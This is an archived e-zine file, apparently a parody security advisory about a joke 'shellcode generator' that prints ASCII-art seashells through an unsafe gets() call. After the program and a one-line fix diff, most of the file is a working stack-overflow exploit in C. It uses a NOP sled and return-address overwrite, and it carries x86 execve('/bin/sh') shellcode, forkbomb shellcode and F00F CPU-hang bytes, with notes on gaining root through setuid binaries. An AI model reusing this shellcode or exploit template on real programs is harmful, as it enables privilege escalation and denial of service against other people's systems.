home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / ~Eel8 / shellgen_exp.c < prev   
Encoding:
C/C++ Source or Header  |  2002-05-27  |  8.7 KB  |  335 lines

  1. [TeamSploit Advisory]
  2. [Begin PDP-11 SIGNED MESSAGE]
  3. TeamSploit labs : http://el8.n3.net
  4. Also check out our Security E-ZINE at http://el8.n3.net
  5.  
  6.     Hello folks, this is TeamSploit (TM), we have noticed an overflow in
  7.     shellgen.c . Shellgen.c is an advanced shellcode generator, which is
  8.     widely used by the 'hacking-community'. 
  9.  
  10.     Shellgen.c can be found at 1337.tsx.org (Mixter Security *sigh*)
  11.  
  12.     Problem:
  13.  
  14.     Shellgen.c uses gets (which is very unsafe, so i've heard)
  15.         ('ld: gets() is unsafe' errors!)
  16.  
  17.     A malicious user may obtain SUPER_USER [1] privledges by using
  18.     the appended exploit. This is a multiplatform vulnerability.
  19.  
  20.     If shellgen.c is run setuid root, a user may obtain root
  21.     privledges thus compromising a system.
  22.  
  23.     Example:
  24.  
  25.     TSlabs$ ./shellgen 
  26.     Generate shell code for: (solaris/linux/bsd/win32)? 1million i's
  27.     Segmentation Fault, core dumped.
  28.     TSlabs$ rm shellgen ; reboot
  29.  
  30.     Possible fixes:
  31.  
  32.     Use the patch provided by TSlabs (TM).
  33.     Thurly remove shellgen.c and shellgen binaries from system.
  34.         TSlabs$ find / -name shellgen.c
  35.     DO NOT RUN SETUID ROOT!
  36.     Rewrite libc.
  37.  
  38.     [1] SUPERUSER - GOD ACCESS - UID 0 - CAN RM -RF /
  39.  
  40.     This has been a TeamSploit advisory, much respect due to:
  41.     gH (global hell), PERSUiT, f0rpaxe, Team HAckphreak ( and 
  42.     hackphreak labs ), w00w00, ADM, !r00t, b4b0, www.antionline.com, 
  43.     www.deathrowrecords.com.
  44.  
  45. [Appended actual program, possible patch.diff, and exploit]
  46. PROGRAM:
  47.  
  48. /* shellcode generator
  49.    by Mixter
  50.    PRIVATE - DO NOT DISTRIBUTE!
  51.  */
  52.  
  53. char *welk=
  54. "\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e"
  55. "\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20"
  56. "\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e"
  57. "\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20"
  58. "\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20"
  59. "\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a";
  60.  
  61. char *ark=
  62. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
  63. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60"
  64. "\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20"
  65. "\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20"
  66. "\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a"
  67. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20"
  68. "\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f"
  69. "\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a";
  70.  
  71. char *clam=
  72. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
  73. "\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60"
  74. "\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f"
  75. "\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20"
  76. "\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a"
  77. "\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e"
  78. "\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60"
  79. "\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  80. "\x20\x20\x60\x27\x27\x27\x60\x0a";
  81.  
  82. char *scallop=
  83. "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27"
  84. "\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20"
  85. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20"
  86. "\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20"
  87. "\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20"
  88. "\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20"
  89. "\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20"
  90. "\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c"
  91. "\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20"
  92. "\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20"
  93. "\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20"
  94. "\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f"
  95. "\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20"
  96. "\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b"
  97. "\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d";
  98.  
  99. void
  100. main()
  101. {
  102. char buf[1024];
  103. printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
  104. gets(buf);
  105. printf("Generating shell code...\n");
  106. if(strstr(buf,"solaris")) puts(welk);
  107. if(strstr(buf,"linux")) puts(ark);
  108. if(strstr(buf,"bsd")) puts(clam);
  109. if(strstr(buf,"win32")) puts(scallop);
  110. printf("done!\n");
  111. }
  112.  
  113. PATCH:
  114.  
  115. TSlabs$ cat TeamSploit_shellgen.c.diff
  116. --- shellgen.c  Wed Dec 29 22:00:28 1999
  117. +++ new.c       Wed Dec 29 23:05:09 1999
  118. @@ -54,7 +54,7 @@
  119.  {
  120.  char buf[1024];
  121.  printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
  122. -gets(buf);
  123. +fgets(buf,80,stdin);
  124.  printf("Generating shell code...\n");
  125.  if(strstr(buf,"solaris")) puts(welk);
  126.  if(strstr(buf,"linux")) puts(ark);
  127. TSlabs$
  128.  
  129. EXPLOIT:
  130. --`cut here`--
  131.  
  132.  
  133. /* * *
  134.  * This is a TeamSploit production
  135.  * exploit for shellgen.c ( please read the advisory attatched )
  136.  * ./shellgen_exp ...
  137.  * TeamSploit labs : http://el8.n3.net
  138.  * * */
  139.  
  140. #include <stdio.h>
  141. #define THE_OFFSET_IS 256
  142. #define THE_BUFFER_IS 1024
  143. #define LEEWAY 8
  144.  
  145. unsigned char f00f_shellcode[] = { 0xF0, 0x0F };
  146.  
  147. unsigned char forkbomb_shellcode[] =
  148.  
  149.     { 0xb0, 0x02, 0xcd, 0x80, 0xeb, 0xfa };
  150.  
  151. unsigned char generic_shellcode[] = { 0x41 };
  152.  
  153. unsigned char sh_shellcode[] =
  154.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  155.     "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  156.     "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  157.  
  158. unsigned char ls_shellcode[] =
  159.     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  160.     "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  161.     "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/ls";
  162.  
  163.  
  164.  
  165.  
  166. unsigned long get_sp(void)
  167. {
  168.     __asm__("movl %esp,%eax");
  169. }
  170.  
  171.  
  172.  
  173.  
  174. void usage(void)
  175. {
  176.     puts("./shellgen <shellcode_num> <program> <offset> (optional)");
  177.     puts("1 = f00f");
  178.     puts("2 = forkbomb");
  179.     puts("3 = generic");
  180.     puts("4 = shell");
  181.     puts("5 = ls");
  182.     exit(31337);
  183. }
  184.  
  185.  
  186.  
  187.  
  188.  
  189. int main(int argc, char *argv[])
  190. {
  191.     FILE *m1xt3r;
  192.     unsigned int c, offset;
  193.     char *prognam, tuff[THE_BUFFER_IS + LEEWAY];
  194.     unsigned long addr;
  195.  
  196.  
  197.  
  198.     if (argc < 3) {
  199.     usage();
  200.     }
  201.  
  202.     c = atoi(argv[1]);
  203.  
  204.     switch (c) {
  205.     case 1:
  206.     puts("F00F SHELLCODE CHOSEN");
  207.     break;
  208.     case 2:
  209.     puts("FORKBOMB SHELLCODE CHOSEN (PREMIUM CHOICE)");
  210.     break;
  211.     case 3:
  212.     puts("GENERIC SHELLCODE (provided by gH thnx)");
  213.     break;
  214.     case 4:
  215.     puts("RUN A SHELL (good for when shellgen is +s root)");
  216.     break;
  217.     case 5:
  218.     puts("LS SHELLCODE (INCASE LS IS BACKDOORED)");
  219.     break;
  220.     default:
  221.     usage();
  222.     }
  223.  
  224.     prognam = argv[2];
  225.  
  226.     if (argc >= 4)
  227.     offset = atoi(argv[3]);
  228.     else
  229.     offset = THE_OFFSET_IS;
  230.  
  231.  
  232.  
  233.     printf("ADDRESS = 0x%x, OFFSET = 0x%x\n", get_sp(), get_sp() + offset);
  234.  
  235.  
  236.  
  237.     if ((m1xt3r = popen(prognam, "w")) == NULL) {
  238.     perror("p o p e n");
  239.     exit(0);
  240.     }
  241.  
  242.  
  243.  
  244.     addr = get_sp();
  245.  
  246.  
  247.  
  248.     if (c == 1) {        /* f00f shellcode */
  249.  
  250.     for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  251.         *(unsigned long *) (tuff + c) = addr + offset;
  252.  
  253.     memset(tuff, 0x90, THE_BUFFER_IS - strlen(f00f_shellcode));
  254.  
  255.     memcpy(&tuff[THE_BUFFER_IS - strlen(f00f_shellcode)],
  256.            f00f_shellcode, strlen(f00f_shellcode));
  257.  
  258.     *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  259.  
  260.     }
  261.  
  262.     else if (c == 2) {
  263.  
  264.     for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  265.         *(unsigned long *) (tuff + c) = addr + offset;
  266.  
  267.     memset(tuff, 0x90, THE_BUFFER_IS - strlen(forkbomb_shellcode));
  268.  
  269.     memcpy(&tuff[THE_BUFFER_IS - strlen(forkbomb_shellcode)],
  270.            forkbomb_shellcode, strlen(forkbomb_shellcode));
  271.  
  272.     *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  273.  
  274.     }
  275.  
  276.     else if (c == 3) {
  277.  
  278.     memset(tuff, generic_shellcode[0], sizeof(tuff));
  279.  
  280.     }
  281.  
  282.     else if (c == 4) {
  283.  
  284.  
  285.     for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  286.         *(unsigned long *) (tuff + c) = addr + offset;
  287.  
  288.  
  289.     memset(tuff, 0x90, THE_BUFFER_IS - strlen(sh_shellcode));
  290.  
  291.     memcpy(&tuff[THE_BUFFER_IS - strlen(sh_shellcode)],
  292.            sh_shellcode, strlen(sh_shellcode));
  293.  
  294.     *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  295.  
  296.     }
  297.  
  298.     else if (c == 5) {
  299.  
  300.     for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
  301.         *(unsigned long *) (tuff + c) = addr + offset;
  302.  
  303.     memset(tuff, 0x90, THE_BUFFER_IS - strlen(ls_shellcode));
  304.  
  305.     memcpy(&tuff[THE_BUFFER_IS - strlen(ls_shellcode)],
  306.            ls_shellcode, strlen(ls_shellcode));
  307.  
  308.     *(tuff + THE_BUFFER_IS + LEEWAY) = 0;
  309.  
  310.     } else
  311.  
  312.  
  313.  
  314.     usage();
  315.  
  316.  
  317.  
  318.     puts("Get ready, we are about to exploit shellgen, hold on tight");
  319.  
  320.  
  321.     fprintf(m1xt3r, "%s", tuff);
  322.  
  323.  
  324.  
  325.     if (pclose(m1xt3r) < 0) {
  326.     perror("pclose");
  327.     exit(-1);
  328.     }
  329.  
  330.  
  331.  
  332.  
  333.     return 0;
  334. }
  335.